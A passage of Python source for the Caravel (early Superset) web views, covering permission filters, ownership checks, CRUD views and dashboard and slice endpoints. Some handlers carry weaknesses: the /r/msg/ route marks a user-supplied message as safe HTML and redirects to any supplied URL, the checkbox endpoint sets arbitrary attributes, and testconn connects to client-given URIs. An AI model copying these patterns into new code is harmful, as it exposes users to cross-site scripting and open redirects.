    return the response in the JSON format
    """
    def wraps(self, *args, **kwargs):
        try:
            return f(self, *args, **kwargs)
        except Exception as e:
            logging.exception(e)
            resp = Response(
                json.dumps({
                    'message': get_error_msg()
                }),
                status=500,
                mimetype="application/json")
            return resp

    return functools.update_wrapper(wraps, f)


def check_ownership(obj, raise_if_false=True):
    """Meant to be used in `pre_update` hooks on models to enforce ownership

    Admin have all access, and other users need to be referenced on either
    the created_by field that comes with the ``AuditMixin``, or in a field
    named ``owners`` which is expected to be a one-to-many with the User
    model. It is meant to be used in the ModelView's pre_update hook in
    which raising will abort the update.
    """
    if not obj:
        return False
    roles = (r.name for r in get_user_roles())
    if 'Admin' in roles:
        return True
    session = db.create_scoped_session()
    orig_obj = session.query(obj.__class__).filter_by(id=obj.id).first()
    owner_names = (user.username for user in orig_obj.owners)
    if (
            hasattr(orig_obj, 'created_by') and
            orig_obj.created_by and
            orig_obj.created_by.username == g.user.username):
        return True
    if (
            hasattr(orig_obj, 'owners') and
            g.user and
            hasattr(g.user, 'username') and
            g.user.username in owner_names):
        return True
    if raise_if_false:
        raise utils.CaravelSecurityException(
            "You don't have the rights to alter [{}]".format(obj))
    else:
        return False


def get_user_roles():
    if g.user.is_anonymous():
        return [appbuilder.sm.find_role('Public')]
    return g.user.roles


class CaravelFilter(BaseFilter):
    def get_perms(self):
        perms = []
        for role in get_user_roles():
            for perm_view in role.permissions:
                if perm_view.permission.name == 'datasource_access':
                    perms.append(perm_view.view_menu.name)
        return perms


class TableSlice(CaravelFilter):
    def apply(self, query, func):  # noqa
        if any([r.name in ('Admin', 'Alpha') for r in get_user_roles()]):
            return query
        perms = self.get_perms()
        tables = []
        for perm in perms:
            match = re.search(r'\(id:(\d+)\)', perm)
            tables.append(match.group(1))
        qry = query.filter(self.model.id.in_(tables))
        return qry


class FilterSlice(CaravelFilter):
    def apply(self, query, func):  # noqa
        if any([r.name in ('Admin', 'Alpha') for r in get_user_roles()]):
            return query
        qry = query.filter(self.model.perm.in_(self.get_perms()))
        return qry


class FilterDashboard(CaravelFilter):
    def apply(self, query, func):  # noqa
        if any([r.name in ('Admin', 'Alpha') for r in get_user_roles()]):
            return query
        Slice = models.Slice  # noqa
        Dash = models.Dashboard  # noqa
        slice_ids_qry = (
            db.session
            .query(Slice.id)
            .filter(Slice.perm.in_(self.get_perms()))
        )
        query = query.filter(
            Dash.id.in_(
                db.session.query(Dash.id)
                .distinct()
                .join(Dash.slices)
                .filter(Slice.id.in_(slice_ids_qry))
            )
        )
        return query


class FilterDashboardSlices(CaravelFilter):
    def apply(self, query, value):  # noqa
        if any([r.name in ('Admin', 'Alpha') for r in get_user_roles()]):
            return query
        qry = query.filter(self.model.perm.in_(self.get_perms()))
        return qry


class FilterDashboardOwners(CaravelFilter):
    def apply(self, query, value):  # noqa
        if any([r.name in ('Admin', 'Alpha') for r in get_user_roles()]):
            return query
        qry = query.filter_by(id=g.user.id)
        return qry


def validate_json(form, field):  # noqa
    try:
        json.loads(field.data)
    except Exception as e:
        logging.exception(e)
        raise ValidationError("json isn't valid")


def generate_download_headers(extension):
    filename = datetime.now().strftime("%Y%m%d_%H%M%S")
    content_disp = "attachment; filename={}.{}".format(filename, extension)
    headers = {
        "Content-Disposition": content_disp,
    }
    return headers


class DeleteMixin(object):
    @action(
        "muldelete", "Delete", "Delete all Really?", "fa-trash", single=False)
    def muldelete(self, items):
        self.datamodel.delete_all(items)
        self.update_redirect()
        return redirect(self.get_redirect())


class CaravelModelView(ModelView):
    page_size = 500


class TableColumnInlineView(CompactCRUDMixin, CaravelModelView):  # noqa
    datamodel = SQLAInterface(models.TableColumn)
    can_delete = False
    edit_columns = [
        'column_name', 'verbose_name', 'description', 'groupby', 'filterable',
        'table', 'count_distinct', 'sum', 'min', 'max', 'expression',
        'is_dttm', 'python_date_format', 'database_expression']
    add_columns = edit_columns
    list_columns = [
        'column_name', 'type', 'groupby', 'filterable', 'count_distinct',
        'sum', 'min', 'max', 'is_dttm']
    page_size = 500
    description_columns = {
        'is_dttm': (_(
            "Whether to make this column available as a "
            "[Time Granularity] option, column has to be DATETIME or "
            "DATETIME-like")),
        'expression': utils.markdown(
            "a valid SQL expression as supported by the underlying backend. "
            "Example: `substr(name, 1, 1)`", True),
        'python_date_format': utils.markdown(Markup(
            "The pattern of timestamp format, use "
            "<a href='https://docs.python.org/2/library/"
            "datetime.html#strftime-strptime-behavior'>"
            "python datetime string pattern</a> "
            "expression. If time is stored in epoch "
            "format, put `epoch_s` or `epoch_ms`. Leave `Database Expression` "
            "below empty if timestamp is stored in "
            "String or Integer(epoch) type"), True),
        'database_expression': utils.markdown(
            "The database expression to cast internal datetime "
            "constants to database date/timestamp type according to the DBAPI. "
            "The expression should follow the pattern of "
            "%Y-%m-%d %H:%M:%S, based on different DBAPI. "
            "The string should be a python string formatter \n"
            "`Ex: TO_DATE('{}', 'YYYY-MM-DD HH24:MI:SS')` for Oracle"
            "Caravel uses default expression based on DB URI if this "
            "field is blank.", True),
    }
    label_columns = {
        'column_name': _("Column"),
        'verbose_name': _("Verbose Name"),
        'description': _("Description"),
        'groupby': _("Groupable"),
        'filterable': _("Filterable"),
        'table': _("Table"),
        'count_distinct': _("Count Distinct"),
        'sum': _("Sum"),
        'min': _("Min"),
        'max': _("Max"),
        'expression': _("Expression"),
        'is_dttm': _("Is temporal"),
        'python_date_format': _("Datetime Format"),
        'database_expression': _("Database Expression")
    }
appbuilder.add_view_no_menu(TableColumnInlineView)


class DruidColumnInlineView(CompactCRUDMixin, CaravelModelView):  # noqa
    datamodel = SQLAInterface(models.DruidColumn)
    edit_columns = [
        'column_name', 'description', 'datasource', 'groupby',
        'count_distinct', 'sum', 'min', 'max']
    list_columns = [
        'column_name', 'type', 'groupby', 'filterable', 'count_distinct',
        'sum', 'min', 'max']
    can_delete = False
    page_size = 500
    label_columns = {
        'column_name': _("Column"),
        'type': _("Type"),
        'datasource': _("Datasource"),
        'groupby': _("Groupable"),
        'filterable': _("Filterable"),
        'count_distinct': _("Count Distinct"),
        'sum': _("Sum"),
        'min': _("Min"),
        'max': _("Max"),
    }

    def post_update(self, col):
        col.generate_metrics()

appbuilder.add_view_no_menu(DruidColumnInlineView)


class SqlMetricInlineView(CompactCRUDMixin, CaravelModelView):  # noqa
    datamodel = SQLAInterface(models.SqlMetric)
    list_columns = ['metric_name', 'verbose_name', 'metric_type']
    edit_columns = [
        'metric_name', 'description', 'verbose_name', 'metric_type',
        'expression', 'table', 'd3format', 'is_restricted']
    description_columns = {
        'expression': utils.markdown(
            "a valid SQL expression as supported by the underlying backend. "
            "Example: `count(DISTINCT userid)`", True),
        'is_restricted': _("Whether the access to this metric is restricted "
                           "to certain roles. Only roles with the permission "
                           "'metric access on XXX (the name of this metric)' "
                           "are allowed to access this metric"),
        'd3format': utils.markdown(
            "d3 formatting string as defined [here]"
            "(https://github.com/d3/d3-format/blob/master/README.md#format). "
            "For instance, this default formatting applies in the Table "
            "visualization and allow for different metric to use different "
            "formats", True
        ),
    }
    add_columns = edit_columns
    page_size = 500
    label_columns = {
        'metric_name': _("Metric"),
        'description': _("Description"),
        'verbose_name': _("Verbose Name"),
        'metric_type': _("Type"),
        'expression': _("SQL Expression"),
        'table': _("Table"),
    }

    def post_add(self, metric):
        utils.init_metrics_perm(caravel, [metric])

    def post_update(self, metric):
        utils.init_metrics_perm(caravel, [metric])

appbuilder.add_view_no_menu(SqlMetricInlineView)


class DruidMetricInlineView(CompactCRUDMixin, CaravelModelView):  # noqa
    datamodel = SQLAInterface(models.DruidMetric)
    list_columns = ['metric_name', 'verbose_name', 'metric_type']
    edit_columns = [
        'metric_name', 'description', 'verbose_name', 'metric_type', 'json',
        'datasource', 'd3format', 'is_restricted']
    add_columns = edit_columns
    page_size = 500
    validators_columns = {
        'json': [validate_json],
    }
    description_columns = {
        'metric_type': utils.markdown(
            "use `postagg` as the metric type if you are defining a "
            "[Druid Post Aggregation]"
            "(http://druid.io/docs/latest/querying/post-aggregations.html)",
            True),
        'is_restricted': _("Whether the access to this metric is restricted "
                           "to certain roles. Only roles with the permission "
                           "'metric access on XXX (the name of this metric)' "
                           "are allowed to access this metric"),
    }
    label_columns = {
        'metric_name': _("Metric"),
        'description': _("Description"),
        'verbose_name': _("Verbose Name"),
        'metric_type': _("Type"),
        'json': _("JSON"),
        'datasource': _("Druid Datasource"),
    }

    def post_add(self, metric):
        utils.init_metrics_perm(caravel, [metric])

    def post_update(self, metric):
        utils.init_metrics_perm(caravel, [metric])


appbuilder.add_view_no_menu(DruidMetricInlineView)


class DatabaseView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.Database)
    list_columns = ['database_name', 'sql_link', 'creator', 'changed_on_']
    add_columns = [
        'database_name', 'sqlalchemy_uri', 'cache_timeout', 'extra']
    search_exclude_columns = ('password',)
    edit_columns = add_columns
    show_columns = [
        'tables',
        'cache_timeout',
        'extra',
        'database_name',
        'sqlalchemy_uri',
        'created_by',
        'created_on',
        'changed_by',
        'changed_on'
    ]
    add_template = "caravel/models/database/add.html"
    edit_template = "caravel/models/database/edit.html"
    base_order = ('changed_on', 'desc')
    description_columns = {
        'sqlalchemy_uri': (
            "Refer to the SqlAlchemy docs for more information on how "
            "to structure your URI here: "
            "http://docs.sqlalchemy.org/en/rel_1_0/core/engines.html"),
        'extra': utils.markdown(
            "JSON string containing extra configuration elements. "
            "The ``engine_params`` object gets unpacked into the "
            "[sqlalchemy.create_engine]"
            "(http://docs.sqlalchemy.org/en/latest/core/engines.html#"
            "sqlalchemy.create_engine) call, while the ``metadata_params`` "
            "gets unpacked into the [sqlalchemy.MetaData]"
            "(http://docs.sqlalchemy.org/en/rel_1_0/core/metadata.html"
            "#sqlalchemy.schema.MetaData) call. ", True),
    }
    label_columns = {
        'database_name': _("Database"),
        'sql_link': _("SQL link"),
        'creator': _("Creator"),
        'changed_on_': _("Last Changed"),
        'sqlalchemy_uri': _("SQLAlchemy URI"),
        'cache_timeout': _("Cache Timeout"),
        'extra': _("Extra"),
    }

    def pre_add(self, db):
        conn = sqla.engine.url.make_url(db.sqlalchemy_uri)
        db.password = conn.password
        conn.password = "X" * 10 if conn.password else None
        db.sqlalchemy_uri = str(conn)  # hides the password
        utils.merge_perm(sm, 'database_access', db.perm)

    def pre_update(self, db):
        self.pre_add(db)


appbuilder.add_view(
    DatabaseView,
    "Databases",
    label=__("Databases"),
    icon="fa-database",
    category="Sources",
    category_label=__("Sources"),
    category_icon='fa-database',)


class TableModelView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.SqlaTable)
    list_columns = [
        'table_link', 'database', 'sql_link', 'is_featured',
        'changed_by_', 'changed_on_']
    order_columns = [
        'table_link', 'database', 'sql_link', 'is_featured', 'changed_on_']
    add_columns = [
        'table_name', 'database', 'schema',
        'default_endpoint', 'offset', 'cache_timeout']
    edit_columns = [
        'table_name', 'is_featured', 'database', 'schema',
        'description', 'owner',
        'main_dttm_col', 'default_endpoint', 'offset', 'cache_timeout']
    related_views = [TableColumnInlineView, SqlMetricInlineView]
    base_order = ('changed_on', 'desc')
    description_columns = {
        'offset': "Timezone offset (in hours) for this datasource",
        'schema': (
            "Schema, as used only in some databases like Postgres, Redshift "
            "and DB2"),
        'description': Markup(
            "Supports <a href='https://daringfireball.net/projects/markdown/'>"
            "markdown</a>"),
    }
    base_filters = [['id', TableSlice, lambda: []]]
    label_columns = {
        'table_link': _("Table"),
        'changed_by_': _("Changed By"),
        'database': _("Database"),
        'changed_on_': _("Last Changed"),
        'sql_link': _("SQL Editor"),
        'is_featured': _("Is Featured"),
        'schema': _("Schema"),
        'default_endpoint': _("Default Endpoint"),
        'offset': _("Offset"),
        'cache_timeout': _("Cache Timeout"),
    }

    def post_add(self, table):
        table_name = table.table_name
        try:
            table.fetch_metadata()
        except Exception as e:
            logging.exception(e)
            flash(
                "Table [{}] doesn't seem to exist, "
                "couldn't fetch metadata".format(table_name),
                "danger")
        utils.merge_perm(sm, 'datasource_access', table.perm)

    def post_update(self, table):
        self.post_add(table)

appbuilder.add_view(
    TableModelView,
    "Tables",
    label=__("Tables"),
    category="Sources",
    category_label=__("Sources"),
    icon='fa-table',)


appbuilder.add_separator("Sources")


class DruidClusterModelView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.DruidCluster)
    add_columns = [
        'cluster_name',
        'coordinator_host', 'coordinator_port', 'coordinator_endpoint',
        'broker_host', 'broker_port', 'broker_endpoint',
    ]
    edit_columns = add_columns
    list_columns = ['cluster_name', 'metadata_last_refreshed']
    label_columns = {
        'cluster_name': _("Cluster"),
        'coordinator_host': _("Coordinator Host"),
        'coordinator_port': _("Coordinator Port"),
        'coordinator_endpoint': _("Coordinator Endpoint"),
        'broker_host': _("Broker Host"),
        'broker_port': _("Broker Port"),
        'broker_endpoint': _("Broker Endpoint"),
    }


if config['DRUID_IS_ACTIVE']:
    appbuilder.add_view(
        DruidClusterModelView,
        name="Druid Clusters",
        label=__("Druid Clusters"),
        icon="fa-cubes",
        category="Sources",
        category_label=__("Sources"),
        category_icon='fa-database',)


class SliceModelView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.Slice)
    can_add = False
    label_columns = {
        'datasource_link': 'Datasource',
    }
    list_columns = [
        'slice_link', 'viz_type', 'datasource_link', 'creator', 'modified']
    edit_columns = [
        'slice_name', 'description', 'viz_type', 'druid_datasource',
        'table', 'owners', 'dashboards', 'params', 'cache_timeout']
    base_order = ('changed_on', 'desc')
    description_columns = {
        'description': Markup(
            "The content here can be displayed as widget headers in the "
            "dashboard view. Supports "
            "<a href='https://daringfireball.net/projects/markdown/'>"
            "markdown</a>"),
        'params': _(
            "These parameters are generated dynamically when clicking "
            "the save or overwrite button in the explore view. This JSON "
            "object is exposed here for reference and for power users who may "
            "want to alter specific parameters."),
        'cache_timeout': _(
            "Duration (in seconds) of the caching timeout for this slice."
        ),
    }
    base_filters = [['id', FilterSlice, lambda: []]]
    label_columns = {
        'cache_timeout': _("Cache Timeout"),
        'creator': _("Creator"),
        'dashboards': _("Dashboards"),
        'datasource_link': _("Datasource"),
        'description': _("Description"),
        'modified': _("Last Modified"),
        'owners': _("Owners"),
        'params': _("Parameters"),
        'slice_link': _("Slice"),
        'slice_name': _("Name"),
        'table': _("Table"),
        'viz_type': _("Visualization Type"),
    }

    def pre_update(self, obj):
        check_ownership(obj)

    def pre_delete(self, obj):
        check_ownership(obj)

    @expose('/add', methods=['GET', 'POST'])
    @has_access
    def add(self):
        widget = self._add()
        if not widget:
            return redirect(self.get_redirect())

        a_druid_datasource = db.session.query(models.DruidDatasource).first()
        if a_druid_datasource is not None:
            url = "/druiddatasourcemodelview/list/"
            msg = _(
                "Click on a datasource link to create a Slice, "
                "or click on a table link <a href='/tablemodelview/list/'>here</a> "
                "to create a Slice for a table"
            )
        else:
            url = "/tablemodelview/list/"
            msg = _("Click on a table link to create a Slice")

        redirect_url = "/r/msg/?url={}&msg={}".format(url, msg)
        return redirect(redirect_url)

appbuilder.add_view(
    SliceModelView,
    "Slices",
    label=__("Slices"),
    icon="fa-bar-chart",
    category="",
    category_icon='',)


class SliceAsync(SliceModelView):  # noqa
    list_columns = [
        'slice_link', 'viz_type',
        'creator', 'modified', 'icons']
    label_columns = {
        'icons': ' ',
        'slice_link': _('Slice'),
    }

appbuilder.add_view_no_menu(SliceAsync)


class SliceAddView(SliceModelView):  # noqa
    list_columns = [
        'slice_link', 'viz_type',
        'owners', 'modified', 'data', 'changed_on']
    label_columns = {
        'icons': ' ',
        'slice_link': _('Slice'),
        'viz_type': _('Visualization Type'),
    }

appbuilder.add_view_no_menu(SliceAddView)


class DashboardModelView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.Dashboard)
    list_columns = ['dashboard_link', 'creator', 'modified']
    edit_columns = [
        'dashboard_title', 'slug', 'slices', 'owners', 'position_json', 'css',
        'json_metadata']
    show_columns = edit_columns + ['table_names']
    add_columns = edit_columns
    base_order = ('changed_on', 'desc')
    description_columns = {
        'position_json': _(
            "This json object describes the positioning of the widgets in "
            "the dashboard. It is dynamically generated when adjusting "
            "the widgets size and positions by using drag & drop in "
            "the dashboard view"),
        'css': _(
            "The css for individual dashboards can be altered here, or "
            "in the dashboard view where changes are immediately "
            "visible"),
        'slug': _("To get a readable URL for your dashboard"),
        'json_metadata': _(
            "This JSON object is generated dynamically when clicking "
            "the save or overwrite button in the dashboard view. It "
            "is exposed here for reference and for power users who may "
            "want to alter specific parameters."),
        'owners': _("Owners is a list of users who can alter the dashboard."),
    }
    base_filters = [['slice', FilterDashboard, lambda: []]]
    add_form_query_rel_fields = {
        'slices': [['slices', FilterDashboardSlices, None]],
        'owners': [['owners', FilterDashboardOwners, None]],
    }
    edit_form_query_rel_fields = {
        'slices': [['slices', FilterDashboardSlices, None]],
        'owners': [['owners', FilterDashboardOwners, None]],
    }
    label_columns = {
        'dashboard_link': _("Dashboard"),
        'dashboard_title': _("Title"),
        'slug': _("Slug"),
        'slices': _("Slices"),
        'owners': _("Owners"),
        'creator': _("Creator"),
        'modified': _("Modified"),
        'position_json': _("Position JSON"),
        'css': _("CSS"),
        'json_metadata': _("JSON Metadata"),
        'table_names': _("Underlying Tables"),
    }

    def pre_add(self, obj):
        obj.slug = obj.slug.strip() or None
        if obj.slug:
            obj.slug = obj.slug.replace(" ", "-")
            obj.slug = re.sub(r'\W+', '', obj.slug)

    def pre_update(self, obj):
        check_ownership(obj)
        self.pre_add(obj)

    def pre_delete(self, obj):
        check_ownership(obj)


appbuilder.add_view(
    DashboardModelView,
    "Dashboards",
    label=__("Dashboards"),
    icon="fa-dashboard",
    category="",
    category_icon='',)


class DashboardModelViewAsync(DashboardModelView):  # noqa
    list_columns = ['dashboard_link', 'creator', 'modified', 'dashboard_title']
    label_columns = {
        'dashboard_link': 'Dashboard',
    }

appbuilder.add_view_no_menu(DashboardModelViewAsync)


class LogModelView(CaravelModelView):
    datamodel = SQLAInterface(models.Log)
    list_columns = ('user', 'action', 'dttm')
    edit_columns = ('user', 'action', 'dttm', 'json')
    base_order = ('dttm', 'desc')
    label_columns = {
        'user': _("User"),
        'action': _("Action"),
        'dttm': _("dttm"),
        'json': _("JSON"),
    }

appbuilder.add_view(
    LogModelView,
    "Action Log",
    label=__("Action Log"),
    category="Security",
    category_label=__("Security"),
    icon="fa-list-ol")


class DruidDatasourceModelView(CaravelModelView, DeleteMixin):  # noqa
    datamodel = SQLAInterface(models.DruidDatasource)
    list_columns = [
        'datasource_link', 'cluster', 'changed_by_', 'changed_on_', 'offset']
    order_columns = [
        'datasource_link', 'changed_on_', 'offset']
    related_views = [DruidColumnInlineView, DruidMetricInlineView]
    edit_columns = [
        'datasource_name', 'cluster', 'description', 'owner',
        'is_featured', 'is_hidden', 'default_endpoint', 'offset',
        'cache_timeout']
    add_columns = edit_columns
    page_size = 500
    base_order = ('datasource_name', 'asc')
    description_columns = {
        'offset': _("Timezone offset (in hours) for this datasource"),
        'description': Markup(
            "Supports <a href='"
            "https://daringfireball.net/projects/markdown/'>markdown</a>"),
    }
    label_columns = {
        'datasource_link': _("Data Source"),
        'cluster': _("Cluster"),
        'description': _("Description"),
        'owner': _("Owner"),
        'is_featured': _("Is Featured"),
        'is_hidden': _("Is Hidden"),
        'default_endpoint': _("Default Endpoint"),
        'offset': _("Time Offset"),
        'cache_timeout': _("Cache Timeout"),
    }

    def post_add(self, datasource):
        datasource.generate_metrics()
        utils.merge_perm(sm, 'datasource_access', datasource.perm)

    def post_update(self, datasource):
        self.post_add(datasource)

if config['DRUID_IS_ACTIVE']:
    appbuilder.add_view(
        DruidDatasourceModelView,
        "Druid Datasources",
        label=__("Druid Datasources"),
        category="Sources",
        category_label=__("Sources"),
        icon="fa-cube")


@app.route('/health')
def health():
    return "OK"


@app.route('/ping')
def ping():
    return "OK"


class R(BaseCaravelView):

    """used for short urls"""

    @log_this
    @expose("/<url_id>")
    def index(self, url_id):
        url = db.session.query(models.Url).filter_by(id=url_id).first()
        if url:
            return redirect('/' + url.url)
        else:
            flash("URL to nowhere...", "danger")
            return redirect('/')

    @log_this
    @expose("/shortner/", methods=['POST', 'GET'])
    def shortner(self):
        url = request.form.get('data')
        obj = models.Url(url=url)
        db.session.add(obj)
        db.session.commit()
        return("{request.headers[Host]}/r/{obj.id}".format(
            request=request, obj=obj))

    @expose("/msg/")
    def msg(self):
        """Redirects to specified url while flash a message"""
        flash(Markup(request.args.get("msg")), "info")
        return redirect(request.args.get("url"))

appbuilder.add_view_no_menu(R)


class Caravel(BaseCaravelView):

    """The base views for Caravel!"""

    @has_access
    @expose("/explore/<datasource_type>/<datasource_id>/")
    @expose("/datasource/<datasource_type>/<datasource_id>/")  # Legacy url
    @log_this
    def explore(self, datasource_type, datasource_id):

        error_redirect = '/slicemodelview/list/'
        datasource_class = models.SqlaTable \
            if datasource_type == "table" else models.DruidDatasource
        datasources = (
            db.session
            .query(datasource_class)
            .all()
        )
        datasources = sorted(datasources, key=lambda ds: ds.full_name)
        datasource = [ds for ds in datasources if int(datasource_id) == ds.id]
        datasource = datasource[0] if datasource else None
        slice_id = request.args.get("slice_id")
        slc = None

        if slice_id:
            slc = (
                db.session.query(models.Slice)
                .filter_by(id=slice_id)
                .first()
            )
        if not datasource:
            flash(__("The datasource seems to have been deleted"), "alert")
            return redirect(error_redirect)

        slice_add_perm = self.can_access('can_add', 'SliceModelView')
        slice_edit_perm = check_ownership(slc, raise_if_false=False)
        slice_download_perm = self.can_access('can_download', 'SliceModelView')

        all_datasource_access = self.can_access(
            'all_datasource_access', 'all_datasource_access')
        datasource_access = self.can_access(
            'datasource_access', datasource.perm)
        if not (all_datasource_access or datasource_access):
            flash(__("You don't seem to have access to this datasource"), "danger")
            return redirect(error_redirect)

        action = request.args.get('action')
        if action in ('saveas', 'overwrite'):
            return self.save_or_overwrite_slice(
                request.args, slc, slice_add_perm, slice_edit_perm)

        viz_type = request.args.get("viz_type")
        if not viz_type and datasource.default_endpoint:
            return redirect(datasource.default_endpoint)
        if not viz_type:
            viz_type = "table"
        try:
            obj = viz.viz_types[viz_type](
                datasource,
                form_data=request.args,
                slice_=slc)
        except Exception as e:
            flash(str(e), "danger")
            return redirect(error_redirect)
        if request.args.get("json") == "true":
            status = 200
            if config.get("DEBUG"):
                # Allows for nice debugger stack traces in debug mode
                payload = obj.get_json()
            else:
                try:
                    payload = obj.get_json()
                except Exception as e:
                    logging.exception(e)
                    payload = str(e)
                    status = 500
            resp = Response(
                payload,
                status=status,
                mimetype="application/json")
            return resp
        elif request.args.get("csv") == "true":
            payload = obj.get_csv()
            return Response(
                payload,
                status=200,
                headers=generate_download_headers("csv"),
                mimetype="application/csv")
        else:
            if request.args.get("standalone") == "true":
                template = "caravel/standalone.html"
            else:
                template = "caravel/explore.html"
            resp = self.render_template(
                template, viz=obj, slice=slc, datasources=datasources,
                can_add=slice_add_perm, can_edit=slice_edit_perm,
                can_download=slice_download_perm,
                userid=g.user.get_id() if g.user else '')
            try:
                pass
            except Exception as e:
                if config.get("DEBUG"):
                    raise(e)
                return Response(
                    str(e),
                    status=500,
                    mimetype="application/json")
            return resp

    def save_or_overwrite_slice(
            self, args, slc, slice_add_perm, slice_edit_perm):
        """Save or overwrite a slice"""
        slice_name = args.get('slice_name')
        action = args.get('action')

        # TODO use form processing form wtforms
        d = args.to_dict(flat=False)
        del d['action']
        del d['previous_viz_type']

        as_list = ('metrics', 'groupby', 'columns', 'all_columns', 'mapbox_label', 'order_by_cols')
        for k in d:
            v = d.get(k)
            if k in as_list and not isinstance(v, list):
                d[k] = [v] if v else []
            if k not in as_list and isinstance(v, list):
                d[k] = v[0]

        table_id = druid_datasource_id = None
        datasource_type = args.get('datasource_type')
        if datasource_type in ('datasource', 'druid'):
            druid_datasource_id = args.get('datasource_id')
        elif datasource_type == 'table':
            table_id = args.get('datasource_id')

        if action in ('saveas'):
            slc = models.Slice(owners=[g.user] if g.user else [])

        slc.params = json.dumps(d, indent=4, sort_keys=True)
        slc.datasource_name = args.get('datasource_name')
        slc.viz_type = args.get('viz_type')
        slc.druid_datasource_id = druid_datasource_id
        slc.table_id = table_id
        slc.datasource_type = datasource_type
        slc.slice_name = slice_name

        if action in ('saveas') and slice_add_perm:
            self.save_slice(slc)
        elif action == 'overwrite' and slice_edit_perm:
            self.overwrite_slice(slc)

        # Adding slice to a dashboard if requested
        dash = None
        if request.args.get('add_to_dash') == 'existing':
            dash = (
                db.session.query(models.Dashboard)
                .filter_by(id=int(request.args.get('save_to_dashboard_id')))
                .one()
            )
            flash(
                "Slice [{}] was added to dashboard [{}]".format(
                    slc.slice_name,
                    dash.dashboard_title),
                "info")
        elif request.args.get('add_to_dash') == 'new':
            dash = models.Dashboard(
                dashboard_title=request.args.get('new_dashboard_name'),
                owners=[g.user] if g.user else [])
            flash(
                "Dashboard [{}] just got created and slice [{}] was added "
                "to it".format(
                    dash.dashboard_title,
                    slc.slice_name),
                "info")

        if dash and slc not in dash.slices:
            dash.slices.append(slc)
            db.session.commit()

        if request.args.get('goto_dash') == 'true':
            return redirect(dash.url)
        else:
            return redirect(slc.slice_url)

    def save_slice(self, slc):
        session = db.session()
        msg = "Slice [{}] has been saved".format(slc.slice_name)
        session.add(slc)
        session.commit()
        flash(msg, "info")

    def overwrite_slice(self, slc):
        can_update = check_ownership(slc, raise_if_false=False)
        if not can_update:
            flash("You cannot overwrite [{}]".format(slc), "danger")
        else:
            session = db.session()
            session.merge(slc)
            session.commit()
            msg = "Slice [{}] has been overwritten".format(slc.slice_name)
            flash(msg, "info")

    @api
    @has_access_api
    @expose("/checkbox/<model_view>/<id_>/<attr>/<value>", methods=['GET'])
    def checkbox(self, model_view, id_, attr, value):
        """endpoint for checking/unchecking any boolean in a sqla model"""
        views = sys.modules[__name__]
        model_view_cls = getattr(views, model_view)
        model = model_view_cls.datamodel.obj

        obj = db.session.query(model).filter_by(id=id_).first()
        if obj:
            setattr(obj, attr, value == 'true')
            db.session.commit()
        return Response("OK", mimetype="application/json")

    @api
    @has_access_api
    @expose("/activity_per_day")
    def activity_per_day(self):
        """endpoint to power the calendar heatmap on the welcome page"""
        Log = models.Log  # noqa
        qry = (
            db.session
            .query(
                Log.dt,
                sqla.func.count())
            .group_by(Log.dt)
            .all()
        )
        payload = {str(time.mktime(dt.timetuple())): ccount for dt, ccount in qry if dt}
        return Response(json.dumps(payload), mimetype="application/json")

    @api
    @has_access_api
    @expose("/save_dash/<dashboard_id>/", methods=['GET', 'POST'])
    def save_dash(self, dashboard_id):
        """Save a dashboard's metadata"""
        data = json.loads(request.form.get('data'))
        positions = data['positions']
        slice_ids = [int(d['slice_id']) for d in positions]
        session = db.session()
        Dash = models.Dashboard  # noqa
        dash = session.query(Dash).filter_by(id=dashboard_id).first()
        check_ownership(dash, raise_if_false=True)
        dash.slices = [o for o in dash.slices if o.id in slice_ids]
        positions = sorted(data['positions'], key=lambda x: int(x['slice_id']))
        dash.position_json = json.dumps(positions, indent=4, sort_keys=True)
        md = dash.metadata_dejson
        if 'filter_immune_slices' not in md:
            md['filter_immune_slices'] = []
        md['expanded_slices'] = data['expanded_slices']
        dash.json_metadata = json.dumps(md, indent=4)
        dash.css = data['css']
        session.merge(dash)
        session.commit()
        session.close()
        return "SUCCESS"

    @api
    @has_access_api
    @expose("/add_slices/<dashboard_id>/", methods=['POST'])
    def add_slices(self, dashboard_id):
        """Add and save slices to a dashboard"""
        data = json.loads(request.form.get('data'))
        session = db.session()
        Slice = models.Slice # noqa
        dash = session.query(models.Dashboard).filter_by(id=dashboard_id).first()
        check_ownership(dash, raise_if_false=True)
        new_slices = session.query(Slice).filter(Slice.id.in_(data['slice_ids']))
        dash.slices += new_slices
        session.merge(dash)
        session.commit()
        session.close()
        return "SLICES ADDED"

    @api
    @has_access_api
    @expose("/testconn", methods=["POST", "GET"])
    def testconn(self):
        """Tests a sqla connection"""
        try:
            uri = request.json.get('uri')
            connect_args = (
                request.json
                .get('extras', {})
                .get('engine_params', {})
                .get('connect_args', {}))
            engine = create_engine(uri, connect_args=connect_args)
            engine.connect()
            return json.dumps(engine.table_names(), indent=4)
        except Exception:
            return Response(
                traceback.format_exc(),
                status=500,
                mimetype="application/json")

    @expose("/favstar/<class_name>/<obj_id>/<action>/")
    def favstar(self, class_name, obj_id, action):
        session = db.session()
        FavStar = models.FavStar  # noqa
        count = 0
        favs = session.query(FavStar).filter_by(
            class_name=class_name, obj_id=obj_id, user_id=g.user.get_id()).all()
        if action == 'select':
            if not favs:
                session.add(
                    FavStar(
                        class_name=class_name, obj_id=obj_id, user_id=g.user.get_id(),
                        dttm=datetime.now()))
            count = 1
        elif action == 'unselect':
            for fav in favs:
                session.delete(fav)
        else:
            count = len(favs)
        session.commit()
        return Response(
            json.dumps({'count': count}),
            mimetype="application/json")

    @has_access
    @expose("/slice/<slice_id>/")
    def slice(self, slice_id):
        """Redirects a request for a slice id to its corresponding URL"""
        session = db.session()
        qry = session.query(models.Slice).filter_by(id=int(slice_id))
        slc = qry.first()
        if slc:
            url = '{slc.slice_url}&standalone={standalone}'.format(
                slc=slc, standalone=request.args.get('standalone', 'false'))
            return redirect(url)
        else:
            flash("The specified slice could not be found", "danger")
            return redirect('/slicemodelview/list/')

    @has_access
    @expose("/dashboard/<dashboard_id>/")
    def dashboard(self, dashboard_id):
        """Server side rendering for a dashboard"""
        session = db.session()
        qry = session.query(models.Dashboard)
        if dashboard_id.isdigit():
            qry = qry.filter_by(id=int(dashboard_id))
        else:
            qry = qry.filter_by(slug=dashboard_id)

        templates = session.query(models.CssTemplate).all()
        dash = qry.first()

        # Hack to log the dashboard_id properly, even when getting a slug
